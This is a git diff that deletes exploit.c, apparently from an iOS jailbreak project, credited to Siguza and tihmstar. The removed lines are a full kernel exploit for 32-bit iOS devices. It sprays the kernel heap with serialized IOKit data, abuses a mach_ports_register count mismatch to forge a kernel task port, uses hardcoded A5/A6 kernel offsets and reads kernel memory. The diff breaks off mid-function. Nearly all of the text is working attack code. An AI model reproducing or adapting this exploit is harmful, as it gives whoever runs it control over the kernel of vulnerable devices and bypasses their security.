hell

1 files changed, 0 insertions, 895 deletions

diff --git a/src/js/kexp/exploit.c b/src/js/kexp/exploit.c
deleted file mode 100644
index b33a74c..0000000
--- a/src/js/kexp/exploit.c
+++ /dev/null
@@ -1,895 +0,0 @@
-// Bugs by NSO Group / Ian Beer.
-// Exploit by Siguza & tihmstar.
-// Thanks also to Max Bazaliy.
-
-#include <stdint.h>             // uint32_t, uint64_t
-#include <stdio.h>              // fprintf, stderr
-#include <string.h>             // memcpy, memset, strncmp
-#include <unistd.h>             // getpid
-#include <mach/mach.h>
-#include <stdlib.h>
-
-#include <IOKit/IOKitLib.h>
-#include <IOKit/iokitmig.h>
-#include <assert.h>
-#include <sched.h>
-
-/*#include "nexploit.h"
-#include "offsetfinder.h"
-#include "thread.h"*/
-
-kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs);
-
-void suspend_all_threads() {
-    thread_act_t other_thread, current_thread;
-    unsigned int thread_count;
-    thread_act_array_t thread_list;
-
-    current_thread = mach_thread_self();
-    int result = task_threads(mach_task_self(), &thread_list, &thread_count);
-    if (result == -1) {
-        exit(1);
-    }
-    if (!result && thread_count) {
-        for (unsigned int i = 0; i < thread_count; ++i) {
-            other_thread = thread_list[i];
-            if (other_thread != current_thread) {
-                int kr = thread_suspend(other_thread);
-                if (kr != KERN_SUCCESS) {
-                    mach_error("thread_suspend:", kr);
-                    exit(1);
-                }
-            }
-        }
-    }
-}
-
-void resume_all_threads() {
-    thread_act_t other_thread, current_thread;
-    unsigned int thread_count;
-    thread_act_array_t thread_list;
-
-    current_thread = mach_thread_self();
-    int result = task_threads(mach_task_self(), &thread_list, &thread_count);
-    if (result == -1) {
-        exit(1);
-    }
-    if (!result && thread_count) {
-        for (unsigned int i = 0; i < thread_count; ++i) {
-            other_thread = thread_list[i];
-            if (other_thread != current_thread) {
-                int kr = thread_resume(other_thread);
-                if (kr != KERN_SUCCESS) {
-                    mach_error("thread_suspend:", kr);
-                    exit(1);
-                }
-            }
-        }
-    }
-}
-
-uint32_t find_kerneltask(){
-    // A5:
-    return 0x8041200c;
-    // A6:
-    // return 0x8041a00c;
-}
-
-uint32_t find_ipcspacekernel(){
-    // A5:
-    return 0x80456664;
-    // A6:
-    // return 0x8045e798;
-}
-
-#define SIZEOF_BYTES_MSG 384
-
-enum
-{
-    kOSSerializeDictionary      = 0x01000000U,
-    kOSSerializeArray           = 0x02000000U,
-    kOSSerializeSet             = 0x03000000U,
-    kOSSerializeNumber          = 0x04000000U,
-    kOSSerializeSymbol          = 0x08000000U,
-    kOSSerializeString          = 0x09000000U,
-    kOSSerializeData            = 0x0a000000U,
-    kOSSerializeBoolean         = 0x0b000000U,
-    kOSSerializeObject          = 0x0c000000U,
-
-    kOSSerializeTypeMask        = 0x7F000000U,
-    kOSSerializeDataMask        = 0x00FFFFFFU,
-
-    kOSSerializeEndCollection   = 0x80000000U,
-
-    kOSSerializeMagic           = 0x000000d3U,
-};
-
-uintptr_t kslide = 0;
-mach_port_t fakeportData;
-
-
-#define MIG_MAX 0x1000
-#define PUSH(v) \
-do \
-{ \
-    if(idx >= MIG_MAX / sizeof(uint32_t)) \
-    { \
-        return KERN_NO_SPACE; \
-    } \
-    dict[idx] = (v); \
-    ++idx; \
-} while(0)
-
-
-/*** XXX ***/
-// TODO: rework this to a lookup table/registry
-
-////#define KERNEL_TASK         0x8041200c //iPod5,1
-//#define KERNEL_TASK         0x8041a00c //iPhone5,2 9.3.3
-//
-//// easiest to grab in convert_task_suspension_token_to_port
-////#define IPC_SPACE_KERNEL    0x80456664 //iPod5,1
-//#define IPC_SPACE_KERNEL    0x8045e798 //iPhone5,2 9.3.3
-
-#define TASK_BSDINFO_OFFSET 0x200
-#define BSDINFO_PID_OFFSET  0x8
-/*** XXX ***/
-
-
-static kern_return_t spray_data(const void *mem, size_t size, size_t num, mach_port_t *port)
-{
-    kern_return_t err, ret;
-    static io_master_t master = MACH_PORT_NULL;
-    if(master == MACH_PORT_NULL)
-    {
-        ret = host_get_io_master(mach_host_self(), &master);
-        if(ret != KERN_SUCCESS)
-        {
-            return ret;
-        }
-    }
-
-    if(size > SIZEOF_BYTES_MSG)
-    {
-        return KERN_NO_SPACE;
-    }
-
-    uint32_t dict[MIG_MAX / sizeof(uint32_t)] = { 0 };
-    size_t idx = 0;
-
-    PUSH(kOSSerializeMagic);
-    PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
-    PUSH(kOSSerializeSymbol | 4);
-    PUSH(0x0079656b); // "key"
-    PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
-
-    for(size_t i = 0; i < num; ++i)
-    {
-        PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | SIZEOF_BYTES_MSG);
-        if(mem && size)
-        {
-            memcpy(&dict[idx], mem, size);
-        }
-        memset((char*)&dict[idx] + size, 0, SIZEOF_BYTES_MSG - size);
-        idx += SIZEOF_BYTES_MSG / 4;
-    }
-
-    ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, idx * sizeof(uint32_t), MACH_PORT_NULL, NULL, 0, &err, port);
-    if(ret == KERN_SUCCESS)
-    {
-        ret = err;
-    }
-    return ret;
-}
-
-
-#define msgh_request_port   msgh_remote_port
-#define msgh_reply_port     msgh_local_port
-
-static kern_return_t r3gister(task_t task, mach_port_array_t init_port_set, mach_msg_type_number_t real_count, mach_msg_type_number_t fake_count)
-{
-#pragma pack(4)
-    typedef struct {
-        mach_msg_header_t Head;
-        mach_msg_body_t msgh_body;
-        mach_msg_ool_ports_descriptor_t init_port_set;
-        NDR_record_t NDR;
-        mach_msg_type_number_t init_port_setCnt;
-    } Request;
-    typedef struct {
-        mach_msg_header_t Head;
-        NDR_record_t NDR;
-        kern_return_t RetCode;
-        mach_msg_trailer_t trailer;
-    } Reply;
-#pragma pack()
-
-    union {
-        Request In;
-        Reply Out;
-    } Mess;
-    Request *InP = &Mess.In;
-    Reply *OutP = &Mess.Out;
-
-    InP->msgh_body.msgh_descriptor_count = 1;
-    InP->init_port_set.address = (void*)(init_port_set);
-    InP->init_port_set.count = real_count;
-    InP->init_port_set.disposition = 19;
-    InP->init_port_set.deallocate =  FALSE;
-    InP->init_port_set.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
-    InP->NDR = NDR_record;
-    InP->init_port_setCnt = fake_count; // was real_count
-    InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
-    InP->Head.msgh_request_port = task;
-    InP->Head.msgh_reply_port = mig_get_reply_port();
-    InP->Head.msgh_id = 3403;
-
-    kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
-    if(ret == KERN_SUCCESS)
-    {
-        ret = OutP->RetCode;
-    }
-    return ret;
-}
-
-#if 0
-static kern_return_t io_registry_entry_get_property_bytes(mach_port_t registry_entry, io_name_t property_name, io_struct_inband_t data, mach_msg_type_number_t *dataCnt)
-{
-
-#ifdef  __MigPackStructs
-#pragma pack(4)
-#endif
-    typedef struct {
-        mach_msg_header_t Head;
-        NDR_record_t NDR;
-        mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */
-        mach_msg_type_number_t property_nameCnt;
-        char property_name[128];
-        mach_msg_type_number_t dataCnt;
-    } Request __attribute__((unused));
-#ifdef  __MigPackStructs
-#pragma pack()
-#endif
-
-#ifdef  __MigPackStructs
-#pragma pack(4)
-#endif
-    typedef struct {
-        mach_msg_header_t Head;
-        NDR_record_t NDR;
-        kern_return_t RetCode;
-        mach_msg_type_number_t dataCnt;
-        char data[4096];
-        mach_msg_trailer_t trailer;
-    } Reply __attribute__((unused));
-#ifdef  __MigPackStructs
-#pragma pack()
-#endif
-
-#ifdef  __MigPackStructs
-#pragma pack(4)
-#endif
-    typedef struct {
-        mach_msg_header_t Head;
-        NDR_record_t NDR;
-        kern_return_t RetCode;
-        mach_msg_type_number_t dataCnt;
-        char data[4096];
-    } __Reply __attribute__((unused));
-#ifdef  __MigPackStructs
-#pragma pack()
-#endif
-    /*
-     * typedef struct {
-     *  mach_msg_header_t Head;
-     *  NDR_record_t NDR;
-     *  kern_return_t RetCode;
-     * } mig_reply_error_t;
-     */
-
-    union {
-        Request In;
-        Reply Out;
-    } Mess;
-
-    Request *InP = &Mess.In;
-    Reply *Out0P = &Mess.Out;
-
-    mach_msg_return_t msg_result;
-    unsigned int msgh_size;
-    unsigned int msgh_size_delta;
-
-
-#ifdef  __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined
-    kern_return_t check_result;
-#endif  /* __MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined */
-
-    __DeclareSendRpc(2812, "io_registry_entry_get_property_bytes")
-
-    InP->NDR = NDR_record;
-
-#ifdef USING_MIG_STRNCPY_ZEROFILL
-    if (mig_strncpy_zerofill != NULL) {
-        InP->property_nameCnt = mig_strncpy_zerofill(InP->property_name, property_name, 128);
-    } else {
-#endif /* USING_MIG_STRNCPY_ZEROFILL */
-        InP->property_nameCnt = mig_strncpy(InP->property_name, property_name, 128);
-#ifdef USING_MIG_STRNCPY_ZEROFILL
-    }
-#endif /* USING_MIG_STRNCPY_ZEROFILL */
-
-    msgh_size_delta = _WALIGN_(InP->property_nameCnt);
-    msgh_size = (mach_msg_size_t)(sizeof(Request) - 128) + msgh_size_delta;
-    InP = (Request *) ((pointer_t) InP + msgh_size_delta - 128);
-
-    if (*dataCnt < 4096)
-        InP->dataCnt = *dataCnt;
-    else
-        InP->dataCnt = 4096;
-
-    InP = &Mess.In;
-    InP->Head.msgh_bits =
-        MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
-    /* msgh_size passed as argument */
-    InP->Head.msgh_request_port = registry_entry;
-    InP->Head.msgh_reply_port = mig_get_reply_port();
-    InP->Head.msgh_id = 2812;
-    InP->Head.msgh_reserved = 0;
-
-/* BEGIN VOUCHER CODE */
-
-#ifdef USING_VOUCHERS
-    if (voucher_mach_msg_set != NULL) {
-        voucher_mach_msg_set(&InP->Head);
-    }
-#endif // USING_VOUCHERS
-
-/* END VOUCHER CODE */
-
-    __BeforeSendRpc(2812, "io_registry_entry_get_property_bytes")
-    msg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, msgh_size, (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
-    __AfterSendRpc(2812, "io_registry_entry_get_property_bytes")
-    if (msg_result != MACH_MSG_SUCCESS) {
-        __MachMsgErrorWithoutTimeout(msg_result);
-        { return msg_result; }
-    }
-
-
-#if defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined)
-    check_result = __MIG_check__Reply__io_registry_entry_get_property_bytes_t((__Reply__io_registry_entry_get_property_bytes_t *)Out0P);
-    if (check_result != MACH_MSG_SUCCESS)
-        { return check_result; }
-#endif  /* defined(__MIG_check__Reply__io_registry_entry_get_property_bytes_t__defined) */
-
-    if (Out0P->dataCnt > *dataCnt) {
-        (void)memcpy((char *) data, (const char *) Out0P->data,  *dataCnt);
-        *dataCnt = Out0P->dataCnt;
-        { return MIG_ARRAY_TOO_LARGE; }
-    }
-    (void)memcpy((char *) data, (const char *) Out0P->data, Out0P->dataCnt);
-
-    *dataCnt = Out0P->dataCnt;
-
-    return KERN_SUCCESS;
-}
-#endif
-
-typedef struct __attribute__((__packed__)) {
-    uint32_t ip_bits;
-    uint32_t ip_references;
-    struct __attribute__((__packed__)) {
-        uint32_t data;
-        uint32_t pad;
-        uint32_t type;
-    } ip_lock;
-    struct __attribute__((__packed__)) {
-        struct __attribute__((__packed__)) {
-            struct __attribute__((__packed__)) {
-                uint32_t flags;
-                uintptr_t waitq_interlock;
-                uint64_t waitq_set_id;
-                uint64_t waitq_prepost_id;
-                struct __attribute__((__packed__)) {
-                    uintptr_t next;
-                    uintptr_t prev;
-                } waitq_queue;
-            } waitq;
-            uintptr_t messages;
-            natural_t seqno;
-            natural_t receiver_name;
-            uint16_t msgcount;
-            uint16_t qlimit;
-        } port;
-        uintptr_t imq_klist;
-    } ip_messages;
-    natural_t ip_flags;
-    uintptr_t ip_receiver;
-    uintptr_t ip_kobject;
-    uintptr_t ip_nsrequest;
-    uintptr_t ip_pdrequest;
-    uintptr_t ip_requests;
-    uintptr_t ip_premsg;
-    uint64_t  ip_context;
-    natural_t ip_mscount;
-    natural_t ip_srights;
-    natural_t ip_sorights;
-} kport_t;
-
-#define LOG(str, args...) \
-do \
-{ \
-    fprintf(stderr, str " [%u]\n", ##args, __LINE__); \
-} while(0)
-
-#define OUT_LABEL(label, code...) \
-do \
-{ \
-     ret = (code); \
-     if(ret != KERN_SUCCESS) \
-     { \
-         LOG(#code ": %s (%u)", mach_error_string(ret), ret); \
-         goto label; \
-     } \
-} while(0)
-
-#define OUT(code...) OUT_LABEL(out, ##code)
-
-
-uint32_t copyinPort(kport_t *kport, int cnt){
-
-    kern_return_t err, ret;
-    task_t self = mach_task_self();
-    io_service_t service = MACH_PORT_NULL;
-    io_connect_t client = MACH_PORT_NULL;
-    io_iterator_t it = MACH_PORT_NULL;
-    io_object_t o = MACH_PORT_NULL;
-
-    mach_port_t data;
-    OUT(spray_data(NULL, 0, 5, &data));
-
-    service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleMobileFileIntegrity"));
-    if(!MACH_PORT_VALID(service))
-    {
-        LOG("Invalid service");
-        goto out;
-    }
-    char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
-
-    kport_t *kpbuf = (kport_t*)(tst+4);
-    for (int i=0; i<cnt; i++) {
-        kpbuf[i] = kport[i];
-    }
-
-    const char xml[] = "<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>";
-    OUT(io_service_open_extended(service, self, 0, NDR_record, (char*)xml, sizeof(xml), &err, &client));
-
-    OUT(IORegistryEntryGetChildIterator(service, "IOService", &it));
-
-    bool found = false;
-    while((o = IOIteratorNext(it)) != MACH_PORT_NULL && !found)
-    {
-        uintptr_t buf[16];
-        uint32_t size = (uint32_t)sizeof(buf);
-        ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", (char*)buf, &size);
-        if(ret == KERN_SUCCESS)
-        {
-            mach_port_deallocate(self, data);
-            data = MACH_PORT_NULL;
-            //OUT(spray_data(&kport, sizeof(kport), 16, &data));
-            OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
-
-            kslide = ((buf[9] & 0xFFF00000) + 0x1000) -0x80001000;
-            return (uint32_t)buf[4] - 0x78;
-
-            /* BREAKPOINT HERE */
-
-            found = true;
-        }
-        IOObjectRelease(o);
-        o = MACH_PORT_NULL;
-    }
-
-out:;
-    if(it != MACH_PORT_NULL)
-    {
-        IOObjectRelease(it);
-        it = MACH_PORT_NULL;
-    }
-    if(client != MACH_PORT_NULL)
-    {
-        IOObjectRelease(client);
-        client = MACH_PORT_NULL;
-    }
-    if(service != MACH_PORT_NULL)
-    {
-        IOObjectRelease(service);
-        service = MACH_PORT_NULL;
-    }
-    if(data != MACH_PORT_NULL)
-    {
-        mach_port_deallocate(self, data);
-        data = MACH_PORT_NULL;
-    }
-    return 0;
-}
-
-#pragma pack(4)
-typedef struct {
-    mach_msg_header_t Head;
-    mach_msg_body_t msgh_body;
-    mach_msg_ool_ports_descriptor_t init_port_set[];
-} Request;
-#pragma pack()
-
-void release_port_ptrs(mach_port_t port){
-    char req[sizeof(Request) + 5 * sizeof(mach_msg_ool_ports_descriptor_t) + sizeof(mach_msg_trailer_t)];
-    if (mach_msg((mach_msg_header_t*)req, MACH_RCV_MSG, 0, sizeof(req), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) != KERN_SUCCESS)
-        printf("[!] Error mach_recv\n");
-}
-
-mach_port_t kp = 0;
-mach_port_t spray_ports(mach_msg_type_number_t number_port_descs) {
-    if (!kp) {
-        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &kp);
-        mach_port_insert_right(mach_task_self(), kp, kp, MACH_MSG_TYPE_MAKE_SEND);
-    }
-
-    mach_port_t mp = 0;
-
-    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &mp);
-    mach_port_insert_right(mach_task_self(), mp, mp, MACH_MSG_TYPE_MAKE_SEND);
-
-    assert(0 == send_ports(mp, kp, 2, number_port_descs));
-
-    return mp;
-}
-
-kern_return_t send_ports(mach_port_t target, mach_port_t payload, size_t num, mach_msg_type_number_t number_port_descs)
-{
-    mach_port_t init_port_set[num];
-    for(size_t i = 0; i < num; ++i)
-    {
-        init_port_set[i] = payload;
-    }
-
-    typedef struct {
-        mach_msg_header_t Head;
-        mach_msg_body_t msgh_body;
-        mach_msg_ool_ports_descriptor_t init_port_set[0];
-    } Request;
-
-    char buf[sizeof(Request) + number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t)];
-    Request *InP = (Request*)buf;
-    InP->msgh_body.msgh_descriptor_count = number_port_descs;
-    for (int i = 0; i < number_port_descs; i++) {
-        InP->init_port_set[i].address = (void *)(init_port_set);
-        InP->init_port_set[i].count = num;
-        InP->init_port_set[i].disposition = 19;
-        InP->init_port_set[i].deallocate =  FALSE;
-        InP->init_port_set[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
-    }
-
-    InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
-    /* msgh_size passed as argument */
-    InP->Head.msgh_request_port = target;
-    InP->Head.msgh_reply_port = 0;
-    InP->Head.msgh_id = 1337;
-
-    return mach_msg(&InP->Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request)+number_port_descs*sizeof(mach_msg_ool_ports_descriptor_t), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
-}         
-
-uint32_t spray_data2(char *data, size_t datasize, unsigned count)
-{
-    kern_return_t kr = 0, err = 0;
-    mach_port_t master = MACH_PORT_NULL;
-    io_service_t serv = 0;
-    io_connect_t conn = 0;
-
-
-    char dict[4096+512];
-    uint32_t idx = 0; // index into our data
-
-#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)
-
-    WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning
-
-    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 1)); // dictionary with two entries
-
-    WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
-    WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian
-
-    WRITE_IN(dict, (kOSSerializeArray | kOSSerializeEndCollection | count)); // key with symbol, 3 chars + NUL byte
-
-    for (int i=0; i<count; i++) {
-        WRITE_IN(dict, ((i == count-1 ? kOSSerializeEndCollection : 0) | kOSSerializeData | datasize)); // key with symbol, 3 chars + NUL byte
-        memcpy((char*)dict+idx, data, datasize);
-        idx += datasize;
-    }
-
-    host_get_io_master(mach_host_self(), &master); // get iokit master port
-
-    serv = IOServiceGetMatchingService(master, IOServiceMatching("AppleMobileFileIntegrity"));
-
-    kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
-    if (kr != KERN_SUCCESS)
-        return printf("failed to spawn UC\n"),-1;
-    return 0;
-}
-
-static kern_return_t prepare_ptr(uint32_t *dict, size_t *size, uintptr_t ptr, size_t num)
-{
-    size_t idx = 0;
-
-    PUSH(kOSSerializeMagic);
-    PUSH(kOSSerializeEndCollection | kOSSerializeDictionary | 1);
-    PUSH(kOSSerializeSymbol | 4);
-    PUSH(0x0079656b); // "key"
-    PUSH(kOSSerializeEndCollection | kOSSerializeArray | (uint32_t)num);
-
-    for(size_t i = 0; i < num; ++i)
-    {
-        PUSH(((i == num - 1) ? kOSSerializeEndCollection : 0) | kOSSerializeData | 8);
-        PUSH(ptr);
-        PUSH(ptr);
-    }
-
-    *size = idx * sizeof(uint32_t);
-    return KERN_SUCCESS;
-}
-
-static kern_return_t spray(const void *dict, size_t size, mach_port_t *port)
-{
-    kern_return_t err, ret;
-    static io_master_t master = MACH_PORT_NULL;
-    if(master == MACH_PORT_NULL)
-    {
-        ret = host_get_io_master(mach_host_self(), &master);
-        if(ret != KERN_SUCCESS)
-        {
-            return ret;
-        }
-    }
-
-    ret = io_service_add_notification_ool(master, "IOServiceTerminate", (char*)dict, (uint32_t)size, MACH_PORT_NULL, NULL, 0, &err, port);
-    if(ret == KERN_SUCCESS)
-    {
-        ret = err;
-    }
-    return ret;
-}
-
-static mach_port_t sanity_port = MACH_PORT_NULL;
-static uintptr_t kernel_task_addr = 0;
-
-task_t get_kernel_task(void){
-    kern_return_t ret;
-
-    OUT(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sanity_port));
-    OUT(mach_port_insert_right(mach_task_self(), sanity_port, sanity_port, MACH_MSG_TYPE_MAKE_SEND));
-    mach_port_limits_t limits = { .mpl_qlimit = 1000 };
-    OUT(mach_port_set_attributes(mach_task_self(), sanity_port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT));
-
-    suspend_all_threads();
-
-    printf("starting exploit\n");
-
-    char data[16];
-    kport_t kport[2] = {};
-    uintptr_t *ptr = (uintptr_t*)(kport + 1);
-    kport->ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
-    kport->ip_references = 100;
-    kport->ip_lock.type = 0x11;
-    kport->ip_messages.port.qlimit = 777;
-    kport->ip_receiver = 0x12345678; // dummy
-    kport->ip_srights = 99;
-
-
-    void *big_buf   = malloc(MIG_MAX),
-         *small_buf = malloc(MIG_MAX);
-    size_t big_size = 0,
-           small_size = 0;
-
-
-#define PORTS_NUM 1024
-#define PORTS_NUM_PRESPRAY 100
-    mach_port_t fp[PORTS_NUM];
-    mach_port_t postSpray;
-
-    usleep(10000);
-    sched_yield();
-    uint32_t kptr = copyinPort(kport,2);
-
-    printf("0x%08x\n",kptr);
-    *(uint32_t*)(data) = kptr;
-    *(uint32_t*)(data+4) = kptr;
-    OUT(prepare_ptr(big_buf, &big_size, kptr, 256));
-    OUT(prepare_ptr(small_buf, &small_size, kptr, 32));
-
-again:
-    sched_yield();
-//    for (int i=0; i<PORTS_NUM_PRESPRAY; i++) {
-//        spray_ports(1024);
-//    }
-//    spray_data2(data, 8, 256);
-//    spray_data2(data, 8, 256);
-//    spray_data2(data, 8, 256);
-//    spray_data2(data, 8, 256);
-//    spray_data2(data, 8, 256);
-//    spray_data2(data, 8, 256);
-    for(size_t i = 0; i < PORTS_NUM_PRESPRAY; ++i){
-        mach_port_t dummy;
-        spray(big_buf, big_size, &dummy);
-    }
-
-    sched_yield();
-    for (int i = 0; i < PORTS_NUM; i++) {
-        fp[i] = spray_ports(1);
-        mach_port_t dummy;
-        spray(small_buf, small_size, &dummy);
-//        spray_data2(data, 8, 32);
-    }
-
-    sched_yield();
-    for (int i = 0; i < PORTS_NUM; i++) {
-        release_port_ptrs(fp[i]);
-    }
-
-    mach_port_t arr[2] = {MACH_PORT_NULL,MACH_PORT_NULL};
-    r3gister(mach_task_self(),arr,2,3);
-    printf("r3gister done\n");
-
-    mach_port_t *arrz=0;
-    mach_msg_type_number_t sz = 3;
-    mach_ports_lookup(mach_task_self(), &arrz, &sz);
-    printf("done %x %x %x %x\n", arrz[0], arrz[1], arrz[2], kp);
-    mach_port_t fake_port = arrz[2];
-    if(!MACH_PORT_VALID(fake_port))
-    {
-        printf("Exploit failed, retrying...\n");
-        goto again;
-    }
-
-    kport[0].ip_kobject = kptr + sizeof(*kport) - TASK_BSDINFO_OFFSET;
-    *ptr = find_kerneltask() + kslide - BSDINFO_PID_OFFSET;
-
-    char tst[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
-    kport_t *kpbuf = (kport_t*)(tst+4);
-    for (int i=0; i<2; i++) {
-        kpbuf[i] = kport[i];
-    }
-    usleep(10000);
-    sched_yield();
-    mach_port_destroy(mach_task_self(), fakeportData);
-    OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
-    printf("done realloc\n");
-
-    OUT(pid_for_task(fake_port, (int*)&kernel_task_addr));
-    LOG("kernel_task address: 0x%08lx", kernel_task_addr);
-
-    *ptr = find_ipcspacekernel() + kslide - BSDINFO_PID_OFFSET;
-    memset(tst, 0x44, sizeof(tst));
-    for (int i=0; i<2; i++) {
-        kpbuf[i] = kport[i];
-    }
-
-    usleep(10000);
-    sched_yield();
-    mach_port_destroy(mach_task_self(), fakeportData);
-    OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
-    printf("done realloc2\n");
-
-    uintptr_t ipc_space_kernel_addr = 0;
-    OUT(pid_for_task(fake_port, (int*)&ipc_space_kernel_addr));
-    LOG("ipc_space_kernel address: 0x%08lx", ipc_space_kernel_addr);
-
-    if (ipc_space_kernel_addr == kernel_task_addr) {
-        printf("Error: failed to leak pointers\n");
-        goto out;
-    }
-
-    kport->ip_receiver = ipc_space_kernel_addr;
-    kport->ip_kobject = kernel_task_addr;
-    memset(tst, 0x45, sizeof(tst));
-    for (int i=0; i<2; i++) {
-        kpbuf[i] = kport[i];
-    }
-
-    OUT(spray_data(tst, sizeof(tst), 10, &postSpray));
-    mach_port_destroy(mach_task_self(), postSpray);
-    printf("done postspray\n");
-
-    usleep(10000);
-    sched_yield();
-    mach_port_destroy(mach_task_self(), fakeportData);
-    OUT(spray_data(tst, sizeof(tst), 10, &fakeportData));
-    printf("done realloc3\n");
-
-    resume_all_threads();
-
-    return fake_port;
-    out:
-    if(MACH_PORT_VALID(fake_port))
-    {
-        ret = send_ports(sanity_port, fake_port, 1, 1);
-        if(ret == KERN_SUCCESS)
-        {
-            fake_port = MACH_PORT_NULL;
-            printf("Exploit failed, retrying...\n");
-            goto again;
-        }
-        printf("send_ports(): %s\n", mach_error_string(ret));
-    }
-    printf("Error: exploit failed :(\n");
-    return MACH_PORT_NULL;
-}
-
-uintptr_t kbase(){
-    return 0x80001000 + kslide;
-}
-
-#if 0
-void exploit(){
-    mach_port_t taskHacked = get_kernel_task();
-    uintptr_t kbase = 0x80001000 + kslide;
-    printf("got kerneltask!\n");
-    printf("kbase=%p\n",(void*)kbase);
-
-    char kdata[0x100];
-    memset(kdata, 0, 0x100);
-    vm_size_t bytesRead=0x100;
-
-    kern_return_t kr=vm_read_overwrite(taskHacked, kbase, bytesRead, (vm_address_t)kdata, &bytesRead);
-    printf("vm_read_overwrite=0x%08x\n",kr);
-
-    printf("DONE!!!\n");
-}
-#endif
-
-void exploit_cleanup(task_t kernel_task)
-{
-    kern_return_t ret;
-
-    mach_port_t self = mach_task_self();
-    OUT(r3gister(kernel_task, &self, 1, 1));
-
-    vm_address_t portaddr = 0;
-    vm_size_t sz = sizeof(portaddr);
-    OUT(vm_read_overwrite(kernel_task, kernel_task_addr+0x1ac, sz, (vm_address_t)&portaddr, &sz));
-
-    vm_address_t mytaskaddr = 0;
-    vm_size_t size = sizeof(mytaskaddr);
-    OUT(vm_read_overwrite(kernel_task, portaddr+__builtin_offsetof(kport_t, ip_kobject), size, (vm_address_t)&mytaskaddr, &size));
-    printf("mytaskaddr = 0x%08x\n", mytaskaddr);
-
-    mach_port_t none = 0;
-    OUT(r3gister(mach_task_self(), &none, 1, 1));
-
-#pragma pack(4)
